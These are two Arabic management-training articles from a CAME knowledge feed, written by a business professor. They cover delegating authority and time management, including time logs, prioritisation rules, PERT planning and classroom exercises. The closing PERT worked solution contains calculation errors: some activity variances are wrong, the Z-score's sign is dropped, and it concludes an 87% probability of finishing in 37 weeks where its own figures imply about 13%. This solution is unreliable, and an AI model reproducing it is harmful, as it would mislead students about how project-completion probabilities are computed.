إن التفويض ليس فقط مجرد تحويل المهام التي لا يرغب المدير في القيام بها ، وإنما التفويض هو أسلوب لإشراك المرؤوسين في العمل وإعطائهم الفرصة لتحدي قدراتهم والشعور بالإنجاز .

2- مزايا تفويض السلطة :

  • إعطاء الفرصة للمشرف أو المدير للتركيز على متطلبات وظيفته الأساسية .
  • زيادة فعالية العمل في الإدارة وتحقيق جودة القرار ، فقد لا يجد المدير الوقت الكافي الذي يدرس فيه موضوع القرار ، الأمر الذي يجعله لا يستطيع أن يعطى هذا القرار الاهتمام اللازم .
  • تحقيق السرعة والمرونة في العمل ، فقد يتطلب العمل في حالات معينة سرعة اتخاذ القرار بمعرفة المرؤسين .
  • إعطاء المدير الفرصة للتخطيط والرقابة والابتكار في العمل .
  • رفع الروح المعنوية للمرؤوسين .
  • تدريب وتنمية المرؤوسين .
  • تحقيق الإثراء الوظيفي للمرؤوسين من خلال منحهم سلطات أكبر الأمر الذي يزيد من أهميتهم
  • أسباب التردد في تفويض السلطة .

     توجد العديد من العوامل التي تجعل البعض يتردد في عملية التفويض  : بعضها يرجع إلى ظروف المنظمة ، والبعض الآخر يرجع إلى ظروف المنظمة ، والبعض الآخر يرجع إلى الرؤساء ،والثالث إلى المرؤوسين . ونوضح فيما يلي أهم تلك العوامل أو القيود المرتبطة بكلٍ :

أ- قيود مرجعها إلى ظروف المنظمة .     

  • إن طبيعة العمل في المنظمة لا تحتمل حدوث أخطاء أو تجاوزات .
  • رغبة الإدارة العليا في المنظمة في أن تكون الإدارة الوسطى على علم كامل بكافة تفاصيل العمليات .
  • عدم وجود سياسات وإجراءات عمل واضحة ترشد وتوجه تصرفات المديرين وغيرهم من العاملين .
  • افتقار المنظمة إلى سياسات أفراد تدعم الاهتمام بتنمية المرؤوسين .

ب-  قيود مرجعها إلى الرؤساء .

1- الخوف من وقوع المرؤوسين في أخطاء غير مقبولة يمكن أن يوجه بسببها اللوم أو النقد إلى الرؤساء أنفسهم.

2- الخوف من أن المرؤوس قد يعتقد بأن التفويض دليل عجز من جانب الرئيس وإنه أقدر من رئيسه على القيام بالعمل الذي فوض له .

3- إحساس الكثير من الرؤساء بأن الرجوع إليه في كل صغيرة و كبيرة يجعله شخص عظيم الأهمية ومن ثم فإن التوسع في التفويض سيفقده الإحساس بتلك الأهمية .

4- عدم الوعي الكافي من جانب بعض الرؤساء بمسئوليتهم تجاه تنمية المساعدين وإعدادهم لشغل مناصب أعلى .

5- اعتقاد البعض بأنه ليس هناك من هو أفضل منه للقيام بأعباء العمل .

6- ضعف ثقة الرئيس في مرؤوسيه .

7- صعوبة وضع معايير للأداء تحظى بالقبول المشترك من الطرفيين يمكن في ضوئها الحكم على مستوى كفاءة أداء المرؤوسين في المهام المنوطة إليهم .

ج- قيود مرجعها إلى المرؤوسين .

  • ضعف الرغبة في تحمل مسئوليات وأعباء إضافية .
  • افتقارهم إلى الثقة في أنفسهم .
  • انخفاض مستوى دافع النمو والتقدم لدى البعض .
  • ضعف الولاء للرئيس .
  • انخفاض مستوى مهاراتهم وافتقارهم إلى القدرة على تحمل أعباء ومسئوليات إضافية .
  • الخوف من تحمل المخاطر والميل إلى الأعمال الروتينية التي لا تحتاج إلى مهارات أو خبرات عمل جديدة . 

4- عوامل زيادة فعالية تفويض السلطة :

     بوجه عام ليست هناك درجة مثالية للتفويض حيث تتحدد تلك الدرجة وفقا للمحتوى العلمي لكل موقف . و فيما يلي مجموعة من الإرشادات التي يمكن من خلالها زيادة فعالية التفويض لتقليل الإسراف في وقت المدير وتتضمن الاستفادة من تلك الإرشادات لتحليل النواحي الآتية :-

أ- ما الذي يجب تفويضه ؟

  • ما هي المهام والواجبات التي لا يمكن أن يقوم بها غيرك ؟
  • ما هي الأعمال والواجبات التي تقوم بها الآن وبمقدور مرؤسيك القيام بها بكفاءة ؟
  • ما هي المهام والواجبات التي قد يكون بعض مرؤوسيك اكثر مهارة منك في تناولها .
  • ما هي المهام والواجبات التي تقوم بها الآن ولا يملك المرؤوسين حاليا المهارة الكافية لتناولها ولكن ينبغي تدريبهم لتنمية مهارتهم في التعامل معها .

ب- من الذي يجب أن يتم التفويض له ؟

  • ما هي الاستعدادات والقدرات المطلوبة للقيام بالواجبات التي سيتم تفويضها ؟
  • ما هو مستوى المهارة والتدريب المطلوبين في الشخص الذي سيتم التفويض له ؟
  • إلى أي مدى تدخل الواجبات التي سيتم تفويضها في نطاق إهتمامه ومدى رغبته للقيام بذلك ؟
  • إلى أي مدى يتوافر لديه الوقت للقيام بأعباء إضافية ؟

ج- كيفية التفويض ؟

  • من الذي ينبغي أن تتشاور معه قبل أن تقوم بعملية التفويض ؟
  • ما هي النتائج التي يتوقع من المفوض إليه أن يحققها ؟
  • ما هو الوقت المتوقع لتحقيق تلك النتائج ؟
  • ما هي المعلومات التى يحتاج إليها المفوض إليه لإنجاز ما هو متوقع منه ؟
  • ما هو نظام الرقابة المناسب الذي يمكن من اكتشاف العقبات والصعوبات ومدى التقدم نحو النتائج المطلوبة ؟
  • ما هي التعديلات التي ينبغي إدخالها على السياسات التنظيمية الحالية لتدعيم الأسلوب الجديد في العمل والتصرف ؟

5- كيف تحقق تفويض فعال :

 أ- حدد مقدار السلطة اللازمة للمرؤوسين .

     فعندما تزيد من المسئوليات الملقاه على عاتق المرؤوس . لا بد أن تفوض له القدر المناسب لها من السلطة . لكى يستطيع القيام بهذه المهام والمسئوليات عملا بمبدأ السلطة بقدر المسئولية .

ب- تأكد من فهم المرؤوس :-

     عندما تقوم بتفويض السلطة . لا بد أن تتأكد من فهم المرؤوس للمهام والمسئوليات الجديدة التي ستكلفه بها .ولا بد أن تعطى الوقت الكاف لمقابلة المرؤوس . وشرح الدور الجديد له .وأبعاد وحدود المسئولية الجديدة . وحدود سلطاته فيها وتحديد وتوضيح الأهداف المطلوب تحقيقها .

ج- تأكد من موافقة المرؤوس على قبول هذه المسئوليات :-

     لا بد أن يتأكد المدير من قبول المرؤوس وإقتناعه بتحمل المسئوليات والسلطات الجديدة . وقد يكون من المفيد أن يجمع المدير بين تفويض السلطة والمشاركة في إتخاذ القرارات لتحقيق الأهداف . وهذا ما يتبع في الإدارة بالأهداف .

د- تابع وراقب أداء المرؤوس :-

     يجب على المدير أن يعقد إجتماعات منتظمة مع المرؤوس . وأن يتفق معه على تقديم تقارير دورية له . كوسيلة لمتابعة أداء المرؤوس خلال قيامه بالدور الجديد له .

     ويجب أن تكون هذه المتابعة مستمرة ومتكررة في الفترة الأولى التي تعقب عملية التفويض . إلا أنه بعد أن يثبت المرؤوس كفاءة في الأداء .ويتأكد للرئيس حسن إختياره لمن قام بتفويضه .تقل درجة المتابعة وتزيد مدة الفترات التي تتم فيها .

هـ– قدم المساعدة والتأييد المعنوى للمرؤوس :-

     يجب أن يقدم الرئيس المساعدة للمرؤوس بعد تفويضه للسلطة .ويشتمل هذا التأييد على توفير الموارد والإمكانيات . والمعلومات الفنية . والنصح والتوجيه . والتدريب والتأييد المعنوى مثل ( تشجيع المرؤوس .زيادة ثقته في نفسه . الشكر والثناء ) .

     ويمكن للمدير تحديد مقدار حاجة المرؤوس للمساعدة من خلال الإجتماعات التي يعقدها معه . والتقارير التي يرفعها له . والملاحظة التي يقوم بها المدير بنفسه وخاصة في المرحلة الأولى التي تعقب التفويض .

     وعلى المدير أن يكون عنصرا مدعما للمرؤوس . وأن يبتعد على نقد المرؤوس عندما يواجه مشكلات أو عندما تبدر عنه أخطاء . إذ على المدير أن يتوقع إحتمالات حدوث بعض الأخطاء والمشكلات من قبل المرؤوس حين قيامه بدوره الجديد . كما أنه على المدير أن يلاحظ أن المرؤوس قد لا يطلب المساعدة أو قد لا يظهر إحتياجه لها خوفا من أن تبدو بصورة سيئة أمام مديره . أو أن تهتز ثقته فيه . أو تظهر عدم قدرته على أداء العمل المفوض إليه .

و- لا تشجع إعتماد المرؤوس الكلى عليك :-

     قد يحاول بعض المرؤوسين تخفيف حدة مخاوفهم من الدور الجديد .من خلال اللجوء إلى المدير لمراجعة قراراتهم قبل إصدارها . وعلى المدير عدم تشجيع هذا السلوك والعمل على تحفيز المرؤوس للتصرف بمفرده حتى لا يتحول التفويض إلى شكل دون مضمون .

6- ما يجب عدم تفويضه :

تتمثل الأشياء التي يجب عدم تفويضها في المسئوليات الإدارية التي تشتمل على ما يلي :

أ- تحديد الأهداف للقسم أو الإدارة .

ب- تنظيم وتنسيق جهود الموظفين للعمل كفريق .

ج- فحص وتحليل النتائج .

د- التحفيز والإتصالات .

هـ- تنمية مهارات العمل للمرؤوسين في اتخاذ القرارات الروتينية .

7- نموذج مقترح لمراحل وخطوات تفويض السلطة :-

المرحلة الأولى :-

      مرحلة التدريب النظرى …. ويتم من خلال :

1- إعرض عليهم بعض الموضوعات التي سبق أن إتخذت فيها قرارات . وإطلب منهم دراستها . بهدف تقييم القرارات التي إتخذت . وفي اليوم التالي – أو الموعد المحدد – إعقد معهم إجتماعات فردية لسماع تقييمهم وملاحظاتهم على هذه القرارات ثم إجمعهم بعد ذلك معا . لمناقشة التقييم والملاحظات وصولا إلى أفضلها .

2- إعرض عليهم بعض الموضوعات التي سبق أن إتخذت فيها قرارات ، مع مراعاة إخفاء القرار النهائى . وإطلب منهم قراءة الموضوع وإتخاذ القرار فيه .

المرحلة الثانية :-

مرحلة التدريب العملى …..ويتم من خلال :-

1- إطلب من أعضاء الفريق حضور الإجتماعات الرسمية التي تعقدها – كمراقبين – على أن يقوم كل منهم بسماع المناقشات التي تدور حول الموضوع . وتسجيل ملاحظاتهم والتعليق على القرار الذي تم إتخاذه في الإجتماع .

2- إطلب من أعضاء الفريق حضور الإجتماعات الرسمية التي تعقدها .على أن يقوم كل فرد منهم بكتابة القرار المناسب وتسجيله بعد سماعه للمناقشات . وذلك قبل أن يصدر المجتمعون القرار النهائى 

 

المرحلة الثالثة :-

مرحلة تفويض السلطة :-

  • إبدأ عملية تفويض بعض السلطات الخاصة بالأعمال والمهام الروتينية ، التي تحكمها لوائح وقواعد وإجراءات وسياسات محددة .
  • تابع المرؤوسين خلال التنفيذ . وقدم النصح والتوجيه لهم كلما إستلزم الأمر .وبناء على نتائج الأداء . إنتقل إلى الخطوة التالية .
  • إبداء في تفويض المزيد من السلطات الخاصة بالأعمال غير الروتينية والتي تتطلب مهارة في تفسير القواعد واللوائح .
  • كلف المرؤوس بالقيام بمهامك أثناء غيابك – لفترة محدودة – ثم يعقب ذلك تكليفه بالقيام لفترات أطول .
  • الخطوة الأخيرة … تفويض السلطة بالنسبة للأعمال التي لا تحكمها قواعد أو لوائح . وتتطلب مهارة تقديرية من القائم بها .

تمرين

مفهوم تفويض السلطة

إختر الإجابة الصحيحة مما يلي :

1-يمكن وصف المدير التالي بأنه مدير فعال :

(أ )يفوض كل سلطاته حتى يعطي الفرصة للمرؤسين للمشاركة  (  )

(ب)لا يفوض أي جزء من سلطاته لأنه لا يثق في مرؤسيه      (  )

(جـ )يفوض سلطاته بالقدر المناسب                            (  )

2- المدير الفعال يفوض :

   (أ) المهام الروتينية والقرارات المرتبطة بها                  (  )

   (ب) المسئوليات الأساسية المتعلقة بوظيفته                  (  )

   (جـ)المسئوليات الأساسية غير المحببة للمدير               (  )

3- إن مشكلة تفويض السلطة في البنك تتركز في :

   (أ) منحها أو عدم منحها                                       (  )

   (ب) علاقتها بالمسؤلية                                        (  )

   (جـ) تحديد القدر من السلطة الذي يمكن تفويضه للمرؤوسين (  )

          في مختلف المراحل التنظيمية                           (  )

 

4-يستطيع مدير الإئتمان في البنك أن يفوض :

  ( أ ) المسؤوليات الخاصة بحصرغياب وحضور منسوبى القسم  (  )

  (ب)المسؤوليات الخاصة بتحديد رغبات العملاء                  (  )

  (جـ) المسئوليات الخاصة بالتنبؤ بأسعار فائدة

        الإقراض العالمية خلال العشر سنوات القادمة .            (  )             

 *   *   *

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-04/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة https://cameknowledge.camecenter.com/articles/time_management-03/ https://cameknowledge.camecenter.com/articles/time_management-03/#respond Sat, 01 Apr 2023 13:15:52 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10309 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثالثة تسجيل وتحليل وتخطيط الوقت أولاً : تسجيل الوقت  الشروط الواجب مراعاتها في تسجيل الوقت : يجب أن يوضح المكان الذي يقضى فيه المدير كل جزء من أجزاء وقته . يجب أن يوضح الأشخاص الدين يقضى المدير معهم كل جزء من أجزاء وقته […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثالثة

تسجيل وتحليل وتخطيط الوقت

أولاً : تسجيل الوقت 

الشروط الواجب مراعاتها في تسجيل الوقت :

  • يجب أن يوضح المكان الذي يقضى فيه المدير كل جزء من أجزاء وقته .
  • يجب أن يوضح الأشخاص الدين يقضى المدير معهم كل جزء من أجزاء وقته ( رؤساء أو مرؤوسين أو مدير مكتب ، أو عملاء أو موردين )
  • يجب أن يوضح الشكل الذي قضى المدير فيه كل جزء من أجزاء وقته مثل : اللجان أو اجتماعات أو مناقشات أو الرد على التليفون …الخ ) .
  • يجب أن يوضح مصدر العمل الذي يقوم به المدير في كل جزء من أجزاء وقته ( أعمال مفروضة عليه من خارج المنشأة أو أعمال من داخل المنشأة)
  • يجب أن يوضح نوع العمل الذي يقوم به المدير في كل جزء من أجزاء وقته شئون مالية ، شئون فنية ، كما يجب أن يوضح فيما إذا كان العمل يتعلق بمشكلات الماضي والحاضر ،أو مشكلات وفرص المستقبل .
  • يجب الفصل بين الاتصالات العارضة ، والعمل الذي أخذ وقتاَ كبيراَ نسبياَ .

     ويفضل تسجيل الوقت لمدة أسبوع على الأقل حتى تصور النتيجة حقيقة عمل المدير .

 

استقصاء

تسجيل الوقت

المطلوب :

التكرم بتسجيل الوقت الذي تقضيه طوال اليوم في ضوء البيانات الموضحة بالجدول التالي :

 

بيان توزيع الوقت في اليوم / الأسبوع

الوقت نسبة مئوية % ملاحظات
دقيقة ساعة
– الوقت الذي قضيته في مكتبي .

– الوقت الذي قضيته في مكتب شخص آخر .

– الوقت الذي قضيته في منزلي ( للعمل )

       
– الوقت الذي قضيته بمفردي

– الوقت الذي قضيته مع شخص واحد .

– الوقت الذي قضيته مع شخص أو أكثر .

       
– الوقت الذي قضيته مع الرئيس المباشر .

– الوقت الذي قضيته مع رئيس الرئيس .

– الوقت الذي قضيته مع السكرتير .

– الوقت الذي قضيته مع المرؤوسين .

– الوقت الذي قضيته مع مرؤسي المرؤوسين

– الوقت الذي قضيته مع الزملاء .

– الوقت الذي قضيته مع أعضاء أجهزة سياسية

– الوقت الذي قضيته مع أعضاء أجهزة رقابية

– الوقت الذي قضيته مع أشخاص خارجيين .

– الوقت الذي قضيته في لجان .

– الوقت الذي قضيته في مناقشات .

– الوقت الذي قضيته في اعمال ورقية .

– الوقت الذي قضيته في التليفون .

– الوقت الذي قضيته في المرور على العاملين

– الوقت الذي قضيته في اجتماعات .

       

 

 

بيان توزيع الوقت في اليوم / الأسبوع الوقت نسبة مئوية % ملاحظات
دقيقة ساعة
– الوقت الذي قضيته في إدارة عليا .

– الوقت الذي قضيته في شئون أفراد .

– الوقت الذي قضيته في شئون مالية .

– الوقت الذي قضيته في شئون فنية .

– الوقت الذي قضيته في شئون تجارية .

– الوقت الذي قضيته في علاقات عامة .

– الوقت الذي قضيته في أشياء أخرى .

– الوقت الذي قضيته في مشكلات الماضي والحاضر

– الوقت الذي قضيته في مشكلات المستقبل والتطوير

 

        
-أقضي وقتي في مجالات أخرى هي :

–

–

        

 

ثانياً : تحليل الوقت .

بعد القيام بعملية تسجيل كيفية قضاء الوقت ، تأتي الخطوة التالية والأساسية وهي القيام بتحليل طريقة انقضائه أو استخدامه الحالية . وهذا ببساطة يعنى أهمية الاحتفاظ بسجل للوقت وذلك لمدة أسبوع على الأقل .

لماذا نحتفظ بسجل للوقت ؟ …. ربما تسأل أنت وغيرك هذا السؤال …. وربما تقول : ” أنا بالفعل أعرف أين يذهب وقتي وكيف . ” …. أو ربما تتساءل عما إذا كان سجل الوقت نفسه مضيعة للوقت ؟

قبل الإجابة على هذا السؤال دعنا نرى كيف يمكن تقدير الوقت المستخدم بالفعل في الأنشطة والتي تمارسها وذلك لمعرفة مقدار الوقت المستخدم في اليوم . وأين يذهب هذا الوقت ، مقارنة ذلك بما تتمناه ( توزيع الوقت المستهدف على كل من هذه الأنشطة والأعمال ) ، ومن ثم تصور الفرق بين ما تتمناه لتنظيم وقتك وما يتم بالفعل .

 

وفيما يلي تمرين يساعد في عملية تحليل الوقت :

تمرين

تحليل الوقت

  • يتاح لكل فرد 168ساعة أسبوعياً (7 × 24 ) . حاول تقدير الوقت الذي تستخدمه بالفعل من الـ 168 ساعة في مجموعات الأنشطة الرئيسية السابق الإشارة إليها .
  • على سبيل المثال تحديد عدد الساعات الأسبوعية المستخدمة في الوظيفة وعدد الساعات المخصصة للأعمال الشخصية .
  • ترجم النتائج التي تحصل عليها في شكل نسب مئوية في الشكل التالي :

 

علق على مدى ملاءمة هيكل توزيع الوقت المتاح على الاستخدامات الأساسية له طبقاَ لاحتياجاتك للوقت .

–

 

تمرين

صياغة الأهداف

حدد أي الأهداف التالية يعتبر أفضل من ناحية الصياغة وأيهم يمكن استخدامه في عملية الرقابة والمحاسبة لشركة بترول تعمل في مجال التكرير .

  • إن هدف بنكنا هو تحقيق أقصى عائد في العالم .
  • إن هدف البنك هو تحقيق أقصى عائد بين جميع

    البنوك في العالم .

  • إن هدف بنكنا هو تحقيق عائد قدره 30% .

4- أن هدف البنك هو تحقيق عائد قدره 30% 

     خلال العام القادم وهذا يفوق متوسط العائد المحقق

   في صناعة تكرير البترول بنسبة 2% .

 

سجل ملاحظاتك هنا

………………………………………………………..

 

ثالثاً :التخطيط وتحديد الأولويات

وهنا يمكن إثارة سؤال هام جداً وهو :

لماذا من الضرورى القيام بوظيفة تخطيط الوقت وتحديد الأولويات ؟.

     والإجابة الواضحة والمحددة جداً تتمثل في أن تخطيط الوقت يفيد فيما يلي :

  • تحديد ترتيب تنفيذ الأنشطة داخل الوظيفة ( بماذا نبدأ وبماذا ننتهي ؟)
  • تحديد الوقت المحدد لكل نشاط داخل الوظيفة .
  • التمييز والتفرقة بين الأنشطة الملحة والأنشطة الهامة .

وما نحب أن نؤكده في هذا الشأن أن الفرد لابد أن يحدد توالى أو ترتيب الأنشطة اللازمة لأداء وظيفته بمعنى أنه يحدد أي من المهام يبدأ بها والمهمة التالية والثالثة والرابعة حتى المهمة الأخيرة . وبالإضافة إلى ترتيب هذه المهام فإن من المهم تحديد الوقت المخصص لكل مهمة وهناك قاعدة في هذا المجال وهي :

  • 20%،80% ومعناها : أن 20% من وقت المدير قد يؤدى إلى تحقيق 80% من النتائج .
  • 80% ،20% ومعناها : أن 80% من وقت المدير ينفق في 20% من الأنشطة الهامة .

وهناك حقيقة أخرى تثبتها بعض الأبحاث التي تمت في بعض المنظمات والتي مدلولها :

أن الفرد منا ولو تمكن يوميا من تخصيص (10)دقائق من وقته كل صباح لتخطيط ما يجب عليه أن يؤديه في هذا اليوم مع التصميم على إتباع ذلك فإننا سوف نتمكن في نهاية الأمر بإذن الله من توفير ساعة يمكن استخدامها في نشاط مجدي (عمل إبداعي علي سبيل المثال).

 

ثم يظهر سؤال ثاني هام أيضاً وهو :

  • كيف نخطط ؟

وللإجابة على السؤال السابق يجب إتباع ما يلي :

  • التأكيد على ضرورة أن تكون عملية التخطيط للوقت كتابة ” فالحبر الضعيف خير من الذاكرة القوية ” .
  • إعداد قائمة بجميع المهام التي يجب عليك تنفيذها .
  • لا تحاول في هذه القائمة ترتيب المهام حسب أهميتها أو أولويتها , ولكن دونها تبعا لتواردها إلى ذهنك .
  • لا تنسى الأعمال الروتينية المطلوبة منك القيام بها , فإنها تستحوذ هي الأخرى على جزء غير بسيط من وقتك .
  • حاول بعد ذلك توقع الزمن الذي سوف تستغرقه عملية تنفيذ كل مهمة من هذه المهام .
  • اجمع الزمن اللازم للانتهاء من جميع المهام .
  • قارن هذا الزمن مع الزمن المتاح لك فعلا .سوف تكتشف أن الزمن اللازم لإنهاء كافة المهام يفوق كثيرا الزمن المتاح لك فعلا .
  • وهنا يجب عليك إعادة النظر في كافة المهام التي سبق لك تدوينها لغرض تعديل قائمة المهام وتصنيفها .

ويمكن ترجمة عملية التخطيط وتحديد الأولويات وتنظيم الوقت اليومي كما يلي :

 

1-       حاول أن تكتب قائمة بالأنشطة التي سوف تؤديها في اليوم .

 

2-    صنف الأنشطة التي سوف تؤديها إلى أنشطة هامة وأنشطة عاجلة ثم حدد أولويات كل منها

 

3-    حاول دائما أن تراجع مفكرتك اليومية باستمرار لمعرفة ما تم إنجازه وما لم يتم .

 

4-    قبل أداء أي عمل اسأل نفسك “لماذا أنا ” هل من الضروري أن أقوم أنا بهذا النشاط ؟ وهل من الممكن أن يقوم به شخص آخر ؟

 

5-    حاول تجميع الأنشطة المتشابهة مع بعضها مع إدارة معينة مثلا لعدم ضياع الوقت .

 

 6- حاول التركيز على الأنشطة الأساسية والرئيسية اليومية ولا تجعل الأنشطة الملحة غير الهامة تؤثر على وقتك .

 

المزايا التي يمكن تحقيقها من تحديد الأولويات :

  • تركيز القدرات البدنية و العقلية على مهمة واحدة خلال فترة زمنية معينة .
  • أن هذا الأسلوب يمكن من الانتهاء من تأدية المهام الهامة أو المستعجلة في فترة زمنية قصيرة مما يعطى الفرد دفعة نفسية قوية ورضاء عام عن الذات ” انسجام مع النفس ” _
  • تنفيذ جميع المهام التي يقاس على نتائجها معدل الأداء من قبل الرؤساء أولا بأول ” انسجام مع رؤسائك ” .
  • تحقيق الإنسجام مع المرؤوسين .
  • قلة الضغط النفسي و العصبي .
  • المحافظة على المواعيد .

ولكن يجب أن نعلم جيدا أن المدير هو الوحيد الذي يمكنه تحديد أولوياته ويجب ترتيب تلك الأولويات حسب القاعدة التالية :

  • مهام ( أ )  هامة جدا ولا يمكن تفويضها.
  • مهام ( ب ) هامة ولكن يمكن تفويضها .
  • مهام ( ج ) أعمال روتينية يجب تفويضها .

 

تمرين

تحديد الأولويات

المطلوب :

 من واقع خبرة سعادتكم في مجال عملكم الحالي ، برجاء الإجابة على الأسئلة التالية :

  • تحديد ثلاث مهام هامة جداً تهم عملك ولا يمكن تفويضها .

–

–

–

–

–

  • تحديد ثلاث مهام هامة ولكن يمكن تفويضها للمرؤوسين

–

–

–

–

–

  • تحديد ثلاث أعمال روتينية يجب أن تقوم بتفويضها .

–

–

–

–

–

 

تمرين

تحديد الأهداف والأنشطة الرئيسية للوظيفة

عزيزي المشارك :

==========

برجاء تحديد أحد الأهداف الرئيسية لوظيفتك ثم الأعمال والأنشطة التي ترى أن أداؤها سوف يحقق هذا الهدف وكذلك النتائج التي يمكن قياسها لأداء كل هذه الأنشطة.

…………………………………………………………………………

الهدف الرئيس المختار للوظيفة:

…………………………………………………………………………

ملخص عام :

…………………………………………………………………………

 

الأعمال والأنشطة الرئيسية النتائج التي يمكن قياسها
……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

 

 ……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

 

رابعاً  : إستخدام أسلوب بيرت في تخطيط الوقت .

يقوم أسلوب بيرت في التخطيط لإدارة الوقت على الإفتراضات التالية والتي تميز المشروع عن غيره:

  • أن المشروع يتكون من عدد من الأنشطة التي تختلف في عددها من مشروع لآخر .
  • أنه يوجد ترابط قوى بين تلك الأنشطة بحيث يؤدى غياب أيا منها إلى التأثير السلبي على كفاءة المشروع ككل .
  • أن هذه الأنشطة التي يتكون منها المشروع تتسم بالتتابع المنطقي .
  • أن لكل نشاط لحظة بداية ولحظة نهاية .
  • أن الهدف النهائي للمشروع يتحقق عندما يتم الإنتهاء من جميع الأنشطة التي يتكون منها .

ويساعد أسلوب بيرت الإدارة في التخطيط لتحقيق إدارة فعالة للوقت من حيث :

 – بلورة وتحديد الأهداف المطلوب تحقيقها .

  • حصر الأنشطة التي يتضمنها البرنامج وتحديد العلاقات المنطقية بينها .
  • تحديد لحظة التحرك للتنفيذ ولحظة الانتهاء وبالتالي المساحة الزمنية التي سيجري التنفيذ خلالها .
  • تحسين كفاءة إستغلال وتخصيص الموارد المتاحة من خلال تركيز الإهتمام على العمليات الحرجة .
  • التنسيق بين مختلف مراكز العمل والتنفيذ في المشروع  وتبادل المعلومات فيما بينها .
  • تحديد مسئوليات المديرين في مواقع العمل المختلفة .

 ويتوقف نجاح إستخدام أسلوب بيرت في التخطيط على ما يلي :

  • تقسيم المشروع إلى خطوات متتابعة منطقيا ، بحيث يمثل كل منها نشاط مستقل .
  • تحديد نقطة البداية ونقطة النهاية لكل نشاط .
  • تحديد المسئولية عن كل نشاط في يد فرد أو قسم أو إدارة معينة                                                           

حساب الوقت المتوقع للنشاط :

          يتم تقدير الوقت المتوقع لكل نشاط في ظل نموذج بيرت ، من خلال تقدير ثلاثة أوقات لكل نشاط :

  • الوقت الأكثر إحتمالاً ويرمز له بالرمز ( ح ) .
  • الوقت المتشائم ويرمز له بالرمز ( ش ) .
  • الوقت المتفائل ويرمز له بالرمز ( م ) .

وعلى ذلك يمكن حساب الوقت المتوقع لكل نشاط من المعادلة التالية :

 

معادلة الوقت المتوقع :

الوقت المتوقع = ( المتفائل + 4 في الأكثر احتمالاً + المتشائم ) ÷6

 

تمرين:

بفرض أنه توفرت لديك البيانات التالية:

م النشاط ف ح ش
أ 1-2 16 18 20
ب 1-3 11 12 13
ج 1-5 7 12 17
د 2-4 2 7 12
هـ 3-6 15 18 21
و 4-6 11 14 17
ن 5-6 7 10 13

 

المطلوب:

  • حساب الوقت المتوقع لكل نشاط .
  • رسم شبكة الأعمال .
  • تحديد المسار الحرج .
  • حساب احتمال تنفيذ المشروع في 37أسبوع.

 

الحل

  • حساب الوقت المتوقع لكل نشاط :

بتطبيق المعادلة التالية والخاصة بحساب الوقت المتوقع

     الوقت المتوقع = ( المتفائل + 4 في الأكثر احتمالاً + المتشائم ) ÷6

يمكن إيجاد الوقت المتوقع لكل نشاط كما يوضح ذلك الجدول التالي :

           

م النشاط الوقت المتوقع
أ 1-2 18
ب 1-3 12
ج 1-5 12
د 2-4 7
هـ 3-6 18
و 4-6 14
ن 5-6 10

 

2- رسم شبكة الأعمال .

 

 

 

3-تحديد المسار الحرج .

المسار الأول : أ ، د ، و

            = 18+ 7 + 14 = 39 أسبوع .

المسار الثاني : ب ، هـ

           = 12 + 18      = 30 أسبوع .

المسار الثاني : جـ ، ن

          = 12 + 10       = 22 أسبوع .

 

وحيث أن المسار الحرج هو المسار الذي له أطول وقت على شبكة الأعمال

إذاً فإن المسار الأول ( أ ، د ، و ) هو المسار الحرج وطوله 39 أسبوع .

 

4- حساب احتمال تنفيذ المشروع في 37أسبوع.

          لحساب إحتمال تنفيذ المشروع في وقت معين تستخدم المعادلة التالية :

 

إحتمال تنفيذ المشروع في وقت معين

                     الوقت المطلوب – وقت المسار الحرج

              =    _________________________

                     الإنحراف المعياري لوقت المسار الحرج

ولحساب الإنحراف المعياري لوقت المسار الحرج يتبع ما يلي :

  • يتم حساب التباين لأنشطة المشروع بإستخدام المعادلة التالية :

تباين النشاط = ( الوقت المتشائم – الوقت المتفائل ) ÷ 6 )2

 

ويوضح الجدول التالي تباين الأنشطة :

م النشاط التباين
أ 1-2 0.8
ب 1-3 0.57
ج 1-5 1.3
د 2-4 1.3
هـ 3-6 1.0
و 4-6 1.0
ن 5-6 1.0

 

  • حساب مجموع تباين أنشطة المسار الحرج

= 0.8 + 1.3 + 1.0 = 3.1

  • حساب الإنحراف المعياري للمسار الحرج وهو يساوي الجزر التربيعي لتباين أنشطة المسار الحرج :
  • الإنحراف المعياري =  1      = 1.76

إحتمال تنفيذ المشروع في 37 أسبوع

                   =       ( 37 – 39 ) ÷  1.76

              = 1.14

          يتم البحث في جدول Z تحت Z  تسوى 1.1 والبحث في الأعمدة تحت رقم 0.04 نجد أنها تساوي 0.8729 وهذا يعني أن إحتمال تنفيذ المشروع في 37 أسبوع يساوي 87% .

 *   *   *

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

